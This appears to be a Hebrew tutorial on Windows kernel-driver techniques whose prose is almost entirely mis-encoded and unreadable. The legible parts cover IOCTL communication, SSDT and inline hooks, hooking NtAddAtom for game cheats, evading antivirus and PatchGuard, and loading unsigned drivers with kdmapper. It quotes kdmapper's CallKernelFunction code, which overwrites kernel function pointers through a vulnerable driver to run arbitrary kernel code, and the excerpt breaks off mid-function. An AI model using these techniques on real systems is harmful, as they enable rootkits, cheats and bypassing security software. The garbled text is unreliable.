KMDFdriver ˥ˣ˵˪ˢˣ ˞ˣˢ MainMedium Φ˭˸˧ˮ ˸ˣ˞˶˪ ˭˞˩ ˸˞ ˭ˣ˧ˠ˧ˢˢ ˧˸ˮ˧˧˴˷ ˧ˮ˷˟ ˫˧˵˪˥ˢΥ 

MainMediumΥ 
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KMDFdriverΥ 

 

 
˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ Device Objects / IOCTLs 

˧˸ˮ˧˧˴ ˸˞ ˞˷ˣˮˢ ˢˤˢ ˟ˣ˶˟ ˫˧˶ˬ˞ˬˢ ˧˸˞˴ˣˢ˷ Σ˪˟˞ ˭ˣ˶˵˧˰˟ ˨˶ˡˢ ˸˧ˮ˟ˣˬˢ ˶ˣ˟˰ ˸˶ˣ˷˵˸ ˫˰ driver 

˸˩˶˰ˬ˟ Windows ˞˧ˢ ˨˶ˡ device object ˸˶ˤ˰˟ˣ IOCTL Φˢ˷˩πdriver ˢ˪ˣ˰ ˭ˣ˶˩ˤ˪ ˪˧˥˸ˬˣ ˳ˣ˶˪ ˞ˣˢ 

˨˧˶˴ ˶ˣ˴˧˪ ˣˬ˴˰˪ DeviceObject ˸˶ˤ˰˟ ˢ˪ˣ˰˲ˢ IoCreateDevice Σπsdevice ˢˤˢ ˞˧˟ˬ ˪˩˪ ˫˶ˣˠ ˶˥˞ Σ

˫ˠ ˟πusermode ˫ˠˣ ˟πkernel mode Σ˸ˣ˶˷˲˞ ˰˧ˠˢ˪ ˪˞ sπdriver Φ 
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˧˶˥˞ ˢˤ ˫˞ ˢ˴˶ˮ ˢ˧ˢ˸˷ ˣ˶˷˲˞ ˸˶ˣ˟˰ ˞˶ˣ˵ ˬπusermode ˰˧ˠˢ˪ ˪πdriver ˨˶˦˴ˮ ˫ˠ ˶ˣ˴˧˪ ˪πdriver 

symbolic link ˷ˬ˷˧˷ ˶ˣ˸˟ ˫˷ˢ ˢˢˤˬˢ ˸˞ ˣ˸ˣ˞ driver Φ˫˷ˢ ˢˤˢ ˨˶ˡ˟ ˪˪˩ ˢ˧ˢ˧ ˦ˬ˶ˣ˲˟ ˪˷ 

DeviceName\\DosDevices\\ ˸˶ˡˠˢ˟ sπsymbolic link ˟πdriver x˦ˬ˶ˣ˲˟ ˪˷ DeviceName\\.\\\\ 

˷ˣˬ˧˷˟ x˟ ˪˴˞ ˢˮ˩ˣ˸ ˢ˴˶ˢ ˟πusermodeΦ 

˪˪ˠ˟ ˪˩˷ ˸˩˶˰ˬ ˸˶ˣ˷˵˸ˢ ˸˞ˤˢ ˸˞˴ˬˮ ˵˪˥˟ ˶˸ˣ˧ Ϧ˵ˣˬ˰ Ϧ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˟ˣ˶˷ ˫˧˷ˮ˞ˢ ˞˪ 

˫˧˶˧˩ˬ Σ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˷˵ ˶˸ˣ˧ ˸ˣˢˤ˪ ˸˶ˣ˷˵˸ ˭˧˟ ˧˵˪˥ ˢ˵ˤˣˮ ˡ˴ˢˬ ˪˷ ˫˧ˮˠˬ Σ˨˞ ˭˧˧ˡ˰ ˷˧ ˢ˟˶ˢ ˫˧˩˶ˡ 

˸ˣ˞˶˪ ˸˞ ˢ˸ˣ˞ ˸˶ˣ˷˵˸ Φ 

ˢ˶˵ˬ˟ ˢˤˢ ˫ˠ DeviceObject ˶˴ˣˮ˷ ˪πDriver ˫ˠˣ sπSymbolic Link ˶˴ˣˮ˷ ˪πDriver ˫˧ˮ˯˥ˣ˞ˬ ˶ˣ˸˟ 

˫˧˦˵˧˧˟ˣ˞ ˸˩˶˰ˬ˟ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˫˸ˣ˞ ˸˷ˠ˪ˣ ˫ˢ˧˪˞ ˨˶ˡ ˸ˣˮ˩ˣ˸ ˣˬ˩ WinObj x˞ ˣ˪˧˲˞ ˸ˣ˯ˮ˪ ˸˷ˠ˪ 

π˪Symbolic Link ˣˮˬ˴˰˟ Φ 

˶˟ˡ ˧ˤ˩˶ˬ ˪˩ˣˮ˷ ˫˧˷˪ ˟˪ ˣ˧˪˞ ˢ˷˧ˠ˟ ˣˤ˩ ˞ˣˢ sπService ˶˴ˣˮ˷ ˪πDriver ˧˩ ˧ˡ˩ ˢ˷πDriver ˪˩ˣ˧ ˶ˣ˴˧˪ 

Device Object ˢ˧ˢˮ ˫˧˩˧˶˴ ˭˧˰˦ˢ˪ Driver ˧ˬ˧˦˧ˠ˪ ˪˧ˠ˶ˣ ˭ˣ˶˩ˤ˪ Σ˭˩˪ˣ ˷ˣˬ˧˷˟ ˟πsc x˞ ˧˪˩ ˶˥˞ ˣ˪˩ˣ˧ 

˸ˣˢˤ˪ ˸˞ sπDriver ˪˷ ˢ˵ˤˣˮˢ ˣˮ˪˷Φˣˬ˩ ˭˩ ˢ˧ˢ˧ ˶˷˲˞ ˰˴˟˪ tracing ˸ˣ˪ˣ˰˲˪ DeviceIoControl ˟π

Usermode x˞ IoBuildDeviceIoControlRequest/NtDeviceIoControlFile ˟πKernel Mode Φ 

˭˸˧ˮ ˸ˣ˞˶˪ ˞ˬˠˣˡ ˨˩˪ ˦˵˧ˣ˶˲˟ ˧˸˶˷˧˵˷ ˸˧˸˥˸˟ ˶ˬ˞ˬˢ ˞˶˵ˮ˷ ioctlfuzzer Σ˦˵˧ˣ˶˲ˢ ˢ˷ˣ˰ Hook 

ˢ˪ˣ˰˲˪ NtDeviceIoControlFile ˨˩˟ˣ ˪˟˵ˬ ˢ˷˧ˠ ˪˩˪ IOCTL ˥˪˷ˮ˷ ˟˸˩˶˰ˬ ˪˩˪ˣ ˫˧˶˦ˬ˶˲ˢ 

˫˧˥˪˷ˮ˷ Φ 

 
˧˪˩ˢ ˢˤˢ ˡ˰ˣˮ ˪πVulnerability Scanning ˟πDrivers ˨˞ ˭˸˧ˮ ˶ˣ˴˧˪ ˫ˠ ˧˪˩ ˧˸ˮˠˢ ˢˬˣˡ ˢˢˤˬ˷ 

Malicious IOCTLsΥ 

 

file://DosDevices/DeviceName
file://DosDevices/DeviceName
/DeviceName
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˶˲˸˷ˬ ˶˟˩ ˢˤ... 

 

˸ˣ˦˧˷ ˣ˪˞ ˨˶ˡ˟ ˪˪˩ ˣ˷˰˧ ˷ˣˬ˧˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˸ˬ˧˧˵ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˢ˶ˣ˴˟ ˸˧˪ˬ˧ˮ˧ˬˢ ˶˸ˣ˧˟Σ 

˫ˠˣ ˶˷˞˩ ˣ˟˧˰˴ ˷ˣˬ˧˷ ˞ˣˢ ˢ˧ˢ˧ ˶˵ˣ˟ˬ ˞˟˥ˣˬˣ ˪˩˩ ˶˷˲˞ˢ ˸˩˶˰ˬˬ ˢ˪˰˲ˢˢ Φˢ˪˞ ˸ˣ˦˧˷ ˸ˣ˰ˣˡ˧ 

˸ˣˮ˷˧ˣ ˟ˣ˶˷ ˸ˣˮˣ˶˸˲ ˢˮˠˢˢ ˫˧˧˸ˣ˰ˬ˷ˬˢ ˸˟˧˟˯˟ ˪ˮ˶˵ˢ ˣ˰ˡ˧ ˭ˠˢ˪ ˫ˢ˧ˡˠˮ Σ˪˟˞ ˫ˢ ˭˧˧ˡ˰ ˸ˣ˷ˬˣ˷ˬ 

˶˲˯ˬ˟ ˸ˣ˲˵˸ˬ ˸ˣˮˣ˷ ˸ˣ˪ˣ˩˧ˣ ˸ˣ˧ˢ˪ ˡˣ˞ˬ ˸ˣ˧˦ˮˣˣ˪˶ ˸ˣ˟ˣ˦ˣ ˶ˣ˟˰ ˸ˣ˩˶˰ˬ ˸ˣˮ˷˧ ˶˸ˣ˧ ˞˪˷ ˣ˶˟˰ ˭ˣ˩ˡ˰ 

˪ˢˮˣ˶˥˞ ξ ˱˯ˣˮ˟ ˸ˣ˦˧˷˪ ˢ˞˟˥ˢ ˸ˣ˲˯ˣˮ 

 

˸˶ˣ˷˵˸ ˸˯˯ˣ˟ˬ SSDT Hooks 

˫˧˵ˣˢ ˢˮ˟ˬ˪ sπSSDT x˞ ˢ˦˧˷ ˸˧˲ˣ˪˥ ˪˷ SSDT inline hooking ˫ˢ ˸ˣ˦˧˷ ˡˣ˰˷ ˫ˣ˧˩ ˸ˣ˷ˬˣ˷ˬ ˵˪˥˟ 

˫˧˦˵˧ˣ˶˲ˢˬ ˫˧˶ˣ˷˵ˢ ˸ˣ˵ˤˣˮ˪ x˞ ˴ϥ˫˧˦˧ ˫˧˧˪ˮ˶˵ ˸ˣˮ˩ˣ˸˪ ˟˷˥ˬ Φ˦˲˯ˮˣ˵ˢ ˪˷ syscalls ˶˷˧˷ ˫˧˶˟ˣ˰ 

˳˧˶ˢ˪ ˢ˪ˣ˰˲ ˧˵ˢ˸ˬ˧ ˟πSSDT ˨˲ˣˢˣ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ ˸˶ˣ˷˵˸ ˭˧˟ ˧˵˪˥ ˢ˵ˤˣˮˢ ˢ˟˶ˢ˪ ˶˸ˣ˧ ˸˧˪˞˧ˣ˧˶˦ Φ

ˢ˶ˣ˴˟ ˣˤ˩ Σ˨˶˦˴ˮ ˵˶ ˰˴˟˪ ˵ˣˢ ˸˶ˤ˰˟ sπdriver ˸˥˞˪ ˸ˣ˪ˣ˰˲ˢˬ ˟πSSDT ˞ˣ˶˵˪ˣ ˪πWinAPI ˫˧˞˸ˬˢ 

ˣ˸ˣ˞˪ syscall Σˢ˩˩ ˫˴˰˟˷ ˰˴˟ˮ syscall ˪˧˰˲˧˷ ˢ˪ˣ˰˲ ˸˶˥˞ ˨ˣ˸˟ sπDriverΦ 

˧ˬ˪ ˞˪˷ ˰ˡˣ˧ ˢˬ ˢˤ inline hook ˨˧˞ˣ ˧ˮ˞ ˭ˮ˩˸ˬ ˷ˬ˸˷ˢ˪ ˢˤ˟ ˶ˣ˟˰ ˢ˶˦ˬˢ ˣˮ˪˷ ύ˰˴˟˪ ˵ˣˢ ˪π

system service Σόinline hook ˞ˣˢ ˫˴˰˟ ˨˧˪ˢ˸ ˵ˣˢ ˢ˪ˣ˰˲˪ ˸ˬ˧ˣ˯ˬ ˨˞ ˫ˣ˵ˬ˟ ˧ˣˮ˧˷ ˸˟ˣ˸˩ˢ ˪˷ 

ˢ˪ˣ˰˲ˢ ˢˮ˟ˬ˟ ˫˧ˮˣ˸ˮ ˣ˩˶ˡ˷ ˨˶ˡ˟ ˪˪˩ ˫˧˞˶ˣ˵ ˢ˪ˣ˰˲˪ ύˣˬ˩ ˫˧˷ˣ˰˷ ˟πSSDT Hook ˪˧ˠ˶ όˢˮ˷ˮ ˸˞ 

˭˩ˣ˸ˢ ˣˬ˴˰ ˪˷ ˪ˣ˰˲ˢ sΦ 

˭˩ˣ˸ˢ ˢˤˢ ˪˰ˣ˲˟ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˪˩˟ ˫ˣ˵ˬ ˢ˪ˣ˰˲˟ ˨˞ ˧ˡ˩ ˪˟˵˪ ˢ˦˧˪˷ ˸˧ˡ˧˧ˬ ˪˰ ˢ˪ˣ˰˲ˢ ˫˰ ˵ˣ˧ˡ˟ ˫˸ˣ˞ 

˫˧˶˦ˬ˶˲ ˣ˰˧ˠˢ˷ ˞˶ˣ˵ˢˬ ˨˶ˡ˟ ˪˪˩ ˰˴˟ˮ ˸˞ sπHook ˸˪˧˥˸˟ ˢ˪ˣ˰˲ˢ Φ 

SSDT Inline Hook ˫˴˰˟ ˶ˬˣ˞ ˰˴˟˪ ˧ˣˮ˧˷ ˭˩ˣ˸˪ ˪˷ ˸˪˧˥˸ sπsystem service ˢ˶ˣ˴˟ ˶˧˟˰˸˷ ˸˞ ˸˴˧˶ 

ˡˣ˵ˢ ˲˪ˢ˪ˣ˰ ˣˮ˥ˮ˞˷ ˣˮ˧ˮ˟ ˷˞˶ˬΦ 

˷˧  ˟ˡ ˶˲˯ˬ˫˧˶ ˟ˣ˷˥˷ ˶ˣ˩ˤ˪ ˧ˡ˩ ˰˴˟˪ SSDT Inline HookΥ 

мΦ ˪˪ˠ˟ ˪˩˷ ˢˮ˟ˬ sπSSDT ˞˴ˬˮ ˭ˣ˶˩ˤ˟ ˸˩˶˰ˬ ˨ˣ˸˟ sπimage ˪˷ ˪ˮ˶˵ˢ ύntoskrnl.exe όˤ˞ ˪˩ 

˶ˣˤ˧˞ˢ ˪˷ sπSSDT ˢ˧ˢ˧ read-only Σ˸˞ˤ ˸˶ˬˣ˞ ˧ˡ˩˷ ˟ˣ˸˩˪ x˞ ˸ˣˮ˷˪ ˸˞ sπSSDT x˞ ˸˞ ˭˩ˣ˸ˢ 

˪˷ sπsystem service ˣˬ˴˰ ˨˶˦˴ˮ ˷ˬ˸˷ˢ˪ ˸˥˞˟ ˸ˣ˪ˣ˩˧ˢˬ ˣˮ˪˷ ˟ˣ˸˩˪ ˭ˣ˶˩ˤ˪ read-only ˶ˣ˸˟ 

driver ύ˞ˬˠˣˡ˪ ˷ˣˬ˧˷ ˟πMDLό 

нΦ ˫˞ ˢ˴˶ˮ ˶ˣˬ˷˪ ˪˰ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˸˧˶ˣ˵ˬˢ ˪˷ ˢ˪ˣ˰˲ˢ x˞ ˞ˣ˶˵˪ ˢ˪ ˨˷ˬˢ˟ ˨˶˦˴ˮ ˶ˣˬ˷˪ ˸˞ 

˭˩ˣ˸ˢ ˣˮ˯˶ˡ˷ ˸˪˧˥˸˟ ˢ˪ˣ˰˲ˢ ˧ˡ˩ ˞ˡˣˣ˪ ˪˩˷ ˢ˴˧˶ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ ˸˰˴˟˸ˬ ˢ˶ˣ˴˟ 
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ˢ˪˧ˠ˶ Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˸˶ˤ˰˟ ˸˶˧ˬ˷ ˭˩ˣ˸ˢ ˣˮ˯˶ˡ˷ ˸˟˧˸˩ˣ ˭˩ˣ˸ˢ ˢˤˢ ˸˪˧˥˸˪ ˢ˪ˣ˰˲ˢ ˪˩ ˫˰˲ 

ˢ˴˶ˮ˷ ˞ˣ˶˵˪ ˢ˪ˣ˰˲˪ ˸˧˶ˣ˵ˬˢ: 

 

˪˩ˣˮ ˰˴˟˪ Inter-component Communication ˸˶ˤ˰˟ SSDT Hooks ˸˶ˤ˰˟ ˶˲˯ˬ ˫˧˟˪˷Υ 

мό ˨ˣ˲ˢ˪ ˸˞ ˢ˶˦ˬˢ ˣˮ˪˷ ˪πsyscall ˦˰ˬ˩˷ ˞˪ˣ ˫˧˷ˬ˸˷ˬ x˟ Σˢ˩˩ ˫ˠ˷ ˫˞ ˢ˷˰˧ ˷ˣˬ˧˷ x˟ ˫˰˲ 

ˢ˟˶ˢ˟ ˭ˬˤ ˞ˣˢ˷ ˞˪ ˵˪˥ˢ ˶˥˞ˢ ˪˷ ˢ˵ˤˣˮˢ ˢ˧ˢ˸ˣ ˸ˣˠˢˮ˸ˢ ˞˪ ˢ˧ˣ˲˴ ˪˷ ˢ˪ˣ˰˲ˢ Σˢˤ ˞˪ ˢ˧ˢ˧ 

ˣˢ˷ˬ ˫ˣ˶ˠ˧˷ ˸˩˶˰ˬ˪ ˟ˣ˷˥˪ ˣˢ˷ˬ˷ ˞˪ ˶ˡ˯˟ ˢ˶ˣ˵ Φ˸˞ˤ ˢ˷˧ˠˢ ˧˩ˢ ˢ˴ˣ˲ˮ ˟πGame Cheats 

˸ˣ˶˦ˬˢˣ ˨˶ˡ˟ ˪˪˩ ˣ˧ˢ˧ ˸ˣ˪ˣ˰˲ˢ NtAtom ΦΦΦ˭ˣˠ˩ NtAddAtom() x˞ ˸ˣˬˣˡ ˫ˢ˪ Φ˴˟ˢ˶ˣ xʕ ˪˩ 

˨˧˪ˢ˸ˢ ˞ˣˢ ˫˴˰˟ Ϧ˧ˬ˧˦˧ˠ˪ Ϧ˪˟˵ˬˣ ˢ˩˧ˬ˸ ˸˩˶˰ˬˢˬ ˸ˮ˸ˣˮ˷ ˣˮ˪ ˸˞ ˡ˪˷ˢ ˸˶ˣ˷˵˸˪. 
 

нό ˰˴˟˪ ˵ˣˢ ˢ˪ˣ˰˲˪ ˸ˬ˧ˣ˯ˬ ˶ˣˬ˷˪ˣ ˸˞ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ Σˢ˶˵ˬ˟ ˢ˰˧ˠˬˣ ˢ˷˵˟ ˣˮ˥ˮ˞˷ ˞˪ ˫˧˪ˣ˩˧ 

ˠˣˣ˯˪ ˢ˷˵˟˩ ˵˪˥ˬ ˢ˵ˤˣˮˢ ˣˮ˪˷ ˳˶˷ ˟πusermode ˣˮ˥ˮ˞ ˞˶˵ˮ ˢ˪ˣ˰˲˪ ˸˧˶ˣ˵ˬˢ ˞˴ˮˣ ˢ˪ˣ˰˲ˢˬ Φ

ˢ˩˩ ˪˩ˣˮ ˞ˡˣˣ˪ ˪˩˷ ˸ˣ˞˧˶˵ˢ ˣˮ˥ˮ˞˷ ˫˧˪˲˦ˬ ˫ˢ˟ ˢ˶ˣ˴˟ ˞˪ ˢ˧ˣ˲˴ ˣ˧ˢ˧ ˵˶ ˸ˣ˞˧˶˵ˢ ˵˪˥ˢˬ 

˶˥˞ˢ ˪˷ ˢ˵ˤˣˮˢ ˣˮ˪˷ Φ˪˩ˣˮ ˸ˣ˷˰˪ ˸˞ ˢˤ ˸˶ˤ˰˟ ˵ˣ˲˧˯ ˶˦ˬ˶˲ ˥˶˩ˢ˟˷ ˞˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˭ˣ˩ˮ 

˨˧˪ˢ˸ˢˬ ˪˧ˠ˶ˢ ˞˶ˣ˵˷ ˢ˪ˣ˰˲˪ Σˣ˞ ˵˲˯˪ ˨˶˰ magic ˫˧ˣ˯ˬ ˨ˣ˲ˢ˧˷ ˸˞ ˧ˣˢ˧ˤˢ ˪˷ ˢ˞˧˶˵ˢ 

˨˧˪ˢ˸ˢˬ ˢ˪˵˪ ˸ˣ˧.˶ 
 

оό ˰˴˟˪ trampoline hook π ˸ˣ˴˵ˢ˪ ˭ˣ˶˩ˤ˟ ˸˩˶˰ˬ ˫ˣ˵ˬ ˪πpayload ˢˬ˷ ˞ˣˢ˷ ˢ˷ˣ˰ ˢ˧ˢ˧ ˞ˣ˶˵˪ 

ˢ˪ˣ˰˲˪ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ ˳˧˶ˢ˪ ˫ˣ˵ˬ˟ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ Σ˸ˣ˷˰˪ SSDT Hook ˫˰ ˸˟ˣ˸˩ˢ ˪˷ ˣ˸ˣ˞ 
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˶ˣˤ˞ ˭ˣ˶˩ˤ Φ˸ˣ˪˧˰˧ˢ ˸ˬ˧˧˵˷ ˢ˶ˣ˴˟ xʕ ˞˧ˢ ˢ˷πHook ˢ˧ˢ˧ Ϧ˸ˣ˥˲ ˡˣ˷˥ Ϧ˧˩ ˢ˶ˣ˞˩˪ ˞ˣˢ ˦ˣ˷˲ 

˟˴ˬ˰˧ ˶ˣˤ˧˞˪ ˧˞˶˵˞ ˭ˣ˶˩ˤ˟ Σ˧˶ˢ sπopcode ˪˷ ˸ˡˣ˵˲ jmp ˢ˦ˣ˷˲ ˞ˣˢ ˢˬ˩ ˫˧˸˟, ˭ˣ˶˩ˤˣ ˧˪ˬˣˡˮ˶ 

ˢ˧ˢ˷ ˭˯˥ˣ˞ˬ ˫˰˲ ˣ˸ˣ˞˟ ˶ˣˤ˧˞ ˭ˣ˶˩ˤ ˪˩˧ ˸ˣ˧ˢ˪ ˢ˟˧˯ˢ ˣ˸ˣ˞˟˷ ˫ˣ˵ˬ ˷˧ ˸˞ ˭˩ˣ˸ˢ ˧˲˧˴˲˯ˢ ˢˤˢΦ 

ˡˣˠ˧ˮ˟ ˪πSSDT Hook ˧˯˞˪˵ ˭˸˧ˮ˷ ˸ˣ˞˶˪ x˟ ˢ˰˟˴ˢ ˢ˶˧˷˧ ˭ˣ˶˩ˤ˪ ˢ˞˶ˮ˷ ˣˬ˩ ˸˧ˮ˩ˣ˸ ˡˣ˵ ˢˬ˪˷ 

˫˰ ˭ˣ˧ˠ˧ˢ ˢ˧˶ˣ˥˞ˬ. ˡˣˠ˧ˮ˟ˣ ˪πSSDT Inline Hook ˣ˟˷ ˢ˧ˢˮ ˫˧˟˧˧˥ ˸ˣˮ˷˪ ˸˞ ˭˩ˣ˸ˢ ˪˷ sπsystem 

service ˣˬ˴˰ Φ 
 

˱˯ˣˮ˟ ˨˩˪ ˶˥˞˪ ˰ˣ˴˧˟ sπHook ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˰˧˟˴ˬ˟ ˢ˪ˣ˰˲˪ ˸˧˶ˣ˵ˬˢ ˢ˶ˣ˴˟ ˸˧˰˟˦ ˢ˪˧ˠ˶ˣ ˧ˡ˩ 

˞ˣ˶˵˪ ˢ˪ˣ˰˲˪ ˣˮ˧˷˰˷ ˢ˪ ˵ˣˢ ύˣ˶˩ˤ π ˞˪ ˣˮ˧ˮ˧˷ ˸˞ ˭˩ˣ˸ ˢ˪ˣ˰˲ˢ ˶ˣ˵ˬˢ˸˧ ˷˧ˣ ˣˮ˪ ˭˧˧ˡ˰ ˸˞ ˰˧˟˴ˬˢ 

ˢ˧˪˞ ˭ˣ˶˩ˤ˟ ˸˩˶˰ˬˢ όˣ˪˧˲˞ˣ ˣˬ˩ ˢ˟˶ˢ˷ ˸ˣˮ˩ˣ˸ ˴˪ϥ˫˧˦˧ξ˸ˣ˵ˤˣˮ ˸ˣ˷ˣ˰ ˭˸˧ˮ ˫ˠ ˫˧˷˪ ˸˞ sπ

payload ˶˴˵ˢ ˨ˣ˸˟ ˭ˣ˶˩ˤˢ ˪˷ ˪ˮ˶˵ˢ ˣˬ˴˰ ύ˷˧ ˣˮ˪ ˸ˣ˪ˣ˩˧ read-only write ˶ˣ˸˟ driver ˫˞ˣ ˞˴ˬˮ 

code cave ˟πtext section ˪˷ ˪ˮ˶˵ˢ ˞ˣˢ˷ ˶ˣˤ˧˞ ˭ˣ˶˩ˤ ˵˧˶ ˞˪ˣ ˷ˬˣ˷ˬ Σ˪˩ˣˮ ˟ˣ˸˩˪ ˸˞ sπPayload 

˫˷˪ ˸ˣ˰˦ˢ˪ˣ ˸˞ ˧ˬ ˢ˯ˮ˧˷ ˭ˠˢ˪ ˣˮˡˠˮ ˡˣ˰ ˶˸ˣ˧όΦ 
 

˨˶ˣ˴˪ ˸ˬˠˡˢ ˦˲˯ˮˣ˵ˢ ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞ ˸ˮ˩ˣ˸ kdmapper ˢ˧˪˰˷ ˧˸˶˟˧ˡ ˶˟˩ ˫˧˶ˬ˞ˬ˟ ˫˧ˬˡˣ˵ˢ Σ

ˢˮ˩ˣ˸ˢ ˢˡ˰ˣˮ ˭˧˰˦ˢ˪ unsigned driver ˭ˣ˶˩ˤ˪ ˸˩˶˰ˬ ˨˩ ˣ˸ˣ˞˷ driver ˪˩ˣ˧ ˳ˣ˶˪ ˦˯˵˦ˮˣ˵˟ ˢ˴˧˶ ˪˷ 

kernel mode Φˢˮˣˬ˸˟ xʕ ˭˸˧ˮ ˸ˣ˞˶˪ ˢ˦˧˷ˢ ˢ˟˷ kdmapper ˷ˬ˸˷ˬ ˸˴˶ˢ˪ ˡˣ˵ ˧˪ˮ˶˵ π ˰ˣ˴˧˟ inline 

hook ˢ˶˵ˬ˟ ˢˤ ˢ˪ˣ˰˲˪ NtAddAtom ˧ˡ˩ ˫ˣ˵ˬ˟˷ ˢ˪ˣ˰˲ˢ ˸˧˶ˣ˵ˬˢ ˳ˣ˶˸ ˢ˪ˣ˰˲ ˸˶˥˞ ˢ˪ˣ˩˧˷ 

˸ˣ˧ˢ˪ ˸˯˯ˣ˟ˬ ˪˰ ˪˩ ˸˟ˣ˸˩ ˸˧˪ˮ˶˵ Σ˪˪ˣ˩ ˸ˣ˟ˣ˸˩ˢ ˪˷ ˸ˣ˪ˣ˰˲ˢ ˪˷ sπdriver ˣˮ˪˷ Φˢ˶ˣ˴˟ xʕ ˮ˪˩ˣ 

˞ˣ˶˵˪ ˢ˪ˣ˰˲˪ ˪˷ sπdriver ˢ˧ˢ˸˷ ˢˮ˩ˣˬ ˰˴˟˪ ˸˞ ˢ˷˵˟ˢ ˣˮ˪˷ ˨˩ˣ ˪˩ˣˮ ˶ˣ˴˧˪ ˸˶ˣ˷˵˸ ˭˧˟ н 

˫˧ˡˡ˴ˢΥ 

bool CallKernelFunction ( HANDLE device_handle, T* out_result, uint64_t kernel_function_address, 
const A ...arguments)  
    {  
        constexpr auto call_void = st d::is_same_v<T, void >;  
 
        if constexpr (!call_void)  
        {  
            if (!out_result)  
                return false ;  
        }  
        else  
        {  
            UNREFERENCED_PARAMETER(out_result);  
        }  
 
        if (!kernel_function_address)  
            return false ;  
 
        // Setup function call  
 
        const auto NtGdiDdDDIReclaimAllocations2 = 
reinterpret_cast <void *>( GetProcAddress ( LoadLibrary ( "gdi32full.dll" ), 
"NtGdiDdDDIReclaimAllocations2" ));  
        const auto NtGdiGetCOPPCompatibleOPMInformation = 
reinterpret_cast <void *>( GetProcAddress ( LoadLibrary ( "win32u.dll" ), 
"NtGdiGetCOPPCompatibleOPMInformation" ));  
 
        if (!NtGdiDdDDIReclaimAllocations2 && !NtGdiGetCOPPCompatibleOPMInformation)  
        {  
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            std::cout << "[ - ] Fail ed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 / 
win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;  
            return false ;  
        }  
 
        uint64_t kernel_function_ptr = 0;  
        uint8_t kernel_function_jmp[] = { 0x48, 0xb8, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0xff , 0xe0 };  
        uint64_t kernel_original_function_address = 0;  
        uint8_t kernel_original_function_jmp[ sizeof (kernel_function_jmp)];  
 
        if (NtGdiDdDDIReclaimAllocations2)  
        {  
            // Get function pointer (@win32kbase!gDxgkInterface table) used by 
NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)  
            if (! GetNtGdiDdDDIReclaimAllocations2KernelInfo (device_handle, &kernel_function_ptr, 
&kernel_original_function_address))  
                return false ;  
 
            // Overwrite the pointer with kernel_function_address  
            if (! WriteToReadOnlyMemory(device_handle, kernel_function_ptr, 
&kernel_function_address, sizeof (kernel_function_ address)))  
                return false ;  
        }  
        else  
        {  
            // Get address of NtGdiGetCOPPCompatibleOPMInformation and save the original jmp bytes 
+ 0xCC filler  
            if (! GetNtGdiGetCOPPCompatibleOPMInformationInfo (device_h andle, &kernel_function_ptr, 
kernel_original_function_jmp))  
                return false ;  
 
            // Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'  
            memcpy(kernel_function_jmp + 2, &kernel_function_address, 
sizeof (kerne l_function_address));  
 
            if (! WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp, 
sizeof (kernel_function_jmp)))  
                return false ;  
        }  
 
        // Call function  
 
        if constexpr (!call_void)  
        {  
            using FunctionFn = T(__stdcall*)(A...);  
            const auto Function = reinterpret_cast <FunctionFn>(NtGdiDdDDIReclaimAllocations2 ? 
NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);  
 
            *out_result = Functi on(arguments...);  
        }  

Υ ϐ https://github.com/Dark7oveRR/kdmapper/blob/master/kdmapper/intel_driver.hppώ 

 

ˤ˞ ˢˬ ˪˩ˣˮ ˸ˣ˷˰˪ ˶ˣ˟˰ ˢˮˠˢ ˡˠˮ ˸˶ˣ˴ ˸˶ˣ˷˵˸ ˣˤ˩ Κˮ˨˶˦˴ ˶ˣ˲˥˪ ˵ˣˬ˰ ˶˸ˣ˧ ˸˩˶˰ˬ˟ ˧ˡ˩ ˰˴˟˪ ˮˠˢ ˢ

ˡˠˮ ˢ˦˧˷ xʕ Σ˪˟˞ ˢˤ ˸ˣ˞ˡˣˣ˟ ˧˶˷˲˞ ˣ˪˧˲˞ˣ ˣˢ˷ˬ ˫˧˧˵ ˢ˟˶ˢ˟ antivirusπ˫˧ ˫˧ˬ˧˧˵ ˸ˣˮˣ˶˸˲ˣ ˢ˥˦˟˞ 

ˣˬ˩ patchguard Φ˶˟ˡ ˡ˥˞ ˪˩ˣˮ˷ ˸ˣ˷˰˪ ˢ˧ˢ˧ ˶ˣˬ˷˪ ˸˞ ˭˩ˣ˸ˢ ˧˶ˣ˵ˬˢ ˸˧˧˪˰˟ ˸˩˶˰ˬˢ ˪˷ sπSSDT 

table ˪˷ˣ sπsystem services ˧ˡ˩ ˣˣ˪˞ˡ ˨˷ˬˢ˟˷ ˸˴˧˶ ˸˩˶˰ˬˢ ˭˩ˣ˸ˢ ˞˪ ˢˮ˸˷˧ ύ˧˩ ˞ˣˢ ˞˪ ˶ˣˬ˞ 

˸ˣˮ˸˷ˢ˪ Σόˢ˶ˣ˴˟ xʕ ˪˩ˣˮ ˫ˠ ˟ˣ˸˩˪ ˦ˣ˷˲ ˸˞ ˭˩ˣ˸ˢ ˧˶ˣ˵ˬˢ ˧˸˧ˬ˞ˢˣ ˶ˣˬ˞˷ ˸ˣ˧ˢ˪ ˫˧˧˵ ˸˩˶˰ˬ˟ ˪˰ 

